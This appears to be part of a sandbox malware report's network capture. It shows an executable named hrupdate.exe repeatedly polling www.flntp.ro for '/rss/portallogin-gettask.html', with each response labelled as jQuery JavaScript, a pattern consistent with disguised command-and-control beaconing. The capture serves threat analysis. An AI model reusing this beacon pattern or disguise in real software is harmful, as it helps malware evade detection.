2024-12-19 21:41:32 UTC	485	OUT	GET /rss/portallogin-gettask.html HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Host: www.flntp.ro Accept-Encoding: gzip, deflate Cookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0Q User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko Connection: Keep-Alive Cache-Control: no-cache
2024-12-19 21:41:33 UTC	235	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Thu, 19 Dec 2024 21:41:33 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 5649 Connection: close Cache-Control: max-age=0, no-cache Pragma: no-cache
2024-12-19 21:41:33 UTC	5649	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 33 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 Data Ascii: /! jQuery v3.3.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	49852	3.79.209.76	443	7428	C:\Users\user\Desktop\hrupdate.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 21:41:35 UTC	485	OUT	GET /rss/portallogin-gettask.html HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Host: www.flntp.ro Accept-Encoding: gzip, deflate Cookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0Q User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko Connection: Keep-Alive Cache-Control: no-cache
2024-12-19 21:41:35 UTC	235	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Thu, 19 Dec 2024 21:41:35 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 5692 Connection: close Cache-Control: max-age=0, no-cache Pragma: no-cache
2024-12-19 21:41:35 UTC	5692	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 33 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 Data Ascii: /! jQuery v3.3.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	49858	3.79.209.76	443	7428	C:\Users\user\Desktop\hrupdate.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 21:41:37 UTC	485	OUT	GET /rss/portallogin-gettask.html HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Host: www.flntp.ro Accept-Encoding: gzip, deflate Cookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0Q User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko Connection: Keep-Alive Cache-Control: no-cache
2024-12-19 21:41:38 UTC	235	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Thu, 19 Dec 2024 21:41:38 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 5713 Connection: close Cache-Control: max-age=0, no-cache Pragma: no-cache
2024-12-19 21:41:38 UTC	5713	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 33 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 Data Ascii: /! jQuery v3.3.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.4	49865	3.79.209.76	443	7428	C:\Users\user\Desktop\hrupdate.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 21:41:40 UTC	485	OUT	GET /rss/portallogin-gettask.html HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Host: www.flntp.ro Accept-Encoding: gzip, deflate Cookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0Q User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko Connection: Keep-Alive Cache-Control: no-cache
2024-12-19 21:41:40 UTC	235	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Thu, 19 Dec 2024 21:41:40 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 5692 Connection: close Cache-Control: max-age=0, no-cache Pragma: no-cache
2024-12-19 21:41:40 UTC	5692	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 33 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 Data Ascii: /! jQuery v3.3.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.4	49871	3.79.209.76	443	7428	C:\Users\user\Desktop\hrupdate.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 21:41:42 UTC	485	OUT	GET /rss/portallogin-gettask.html HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Host: www.flntp.ro Accept-Encoding: gzip, deflate Cookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0Q User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko Connection: Keep-Alive Cache-Control: no-cache
2024-12-19 21:41:43 UTC	235	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Thu, 19 Dec 2024 21:41:42 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 5607 Connection: close Cache-Control: max-age=0, no-cache Pragma: no-cache
2024-12-19 21:41:43 UTC	5607	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 33 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 Data Ascii: /! jQuery v3.3.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.4	49877	3.79.209.76	443	7428	C:\Users\user\Desktop\hrupdate.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 21:41:44 UTC	485	OUT	GET /rss/portallogin-gettask.html HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Host: www.flntp.ro Accept-Encoding: gzip, deflate Cookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0Q User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko Connection: Keep-Alive Cache-Control: no-cache
2024-12-19 21:41:45 UTC	235	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Thu, 19 Dec 2024 21:41:45 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 5628 Connection: close Cache-Control: max-age=0, no-cache Pragma: no-cache
2024-12-19 21:41:45 UTC	5628	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 33 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 Data Ascii: /! jQuery v3.3.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.4	49882	3.79.209.76	443	7428	C:\Users\user\Desktop\hrupdate.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 21:41:46 UTC	485	OUT	GET /rss/portallogin-gettask.html HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Host: www.flntp.ro Accept-Encoding: gzip, deflate Cookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0Q User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko Connection: Keep-Alive Cache-Control: no-cache
2024-12-19 21:41:47 UTC	235	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Thu, 19 Dec 2024 21:41:47 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 5607 Connection: close Cache-Control: max-age=0, no-cache Pragma: no-cache
2024-12-19 21:41:47 UTC	5607	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 33 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 Data Ascii: /! jQuery v3.3.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.4	49888	3.79.209.76	443	7428	C:\Users\user\Desktop\hrupdate.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 21:41:49 UTC	485	OUT	GET /rss/portallogin-gettask.html HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Host: www.flntp.ro Accept-Encoding: gzip, deflate Cookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0Q User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko Connection: Keep-Alive Cache-Control: no-cache
2024-12-19 21:41:49 UTC	235	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Thu, 19 Dec 2024 21:41:49 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 5607 Connection: close Cache-Control: max-age=0, no-cache Pragma: no-cache
2024-12-19 21:41:49 UTC	5607	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 33 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 Data Ascii: /! jQuery v3.3.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.4	49894	3.79.209.76	443	7428	C:\Users\user\Desktop\hrupdate.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 21:41:51 UTC	485	OUT	GET /rss/portallogin-gettask.html HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Host: www.flntp.ro Accept-Encoding: gzip, deflate Cookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0Q User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko Connection: Keep-Alive Cache-Control: no-cache
2024-12-19 21:41:51 UTC	235	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Thu, 19 Dec 2024 21:41:51 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 5671 Connection: close Cache-Control: max-age=0, no-cache Pragma: no-cache
2024-12-19 21:41:51 UTC	5671	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 33 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 Data Ascii: /! jQuery v3.3.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.4	49901	3.79.209.76	443	7428	C:\Users\user\Desktop\hrupdate.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 21:41:53 UTC	485	OUT	GET /rss/portallogin-gettask.html HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Host: www.flntp.ro Accept-Encoding: gzip, deflate Cookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0Q User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko Connection: Keep-Alive Cache-Control: no-cache
2024-12-19 21:41:54 UTC	235	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Thu, 19 Dec 2024 21:41:53 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 5628 Connection: close Cache-Control: max-age=0, no-cache Pragma: no-cache
2024-12-19 21:41:54 UTC	5628	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 33 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 Data Ascii: /! jQuery v3.3.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.4	49907	3.79.209.76	443	7428	C:\Users\user\Desktop\hrupdate.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 21:41:55 UTC	485	OUT	GET /rss/portallogin-gettask.html HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Host: www.flntp.ro Accept-Encoding: gzip, deflate Cookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0Q User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko Connection: Keep-Alive Cache-Control: no-cache
2024-12-19 21:41:56 UTC	235	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Thu, 19 Dec 2024 21:41:56 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 5649 Connection: close Cache-Control: max-age=0, no-cache Pragma: no-cache
2024-12-19 21:41:56 UTC	5649	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 33 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 Data Ascii: /! jQuery v3.3.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.4	49913	3.79.209.76	443	7428	C:\Users\user\Desktop\hrupdate.exe

Timestamp	Bytes transferred	Direction	Data
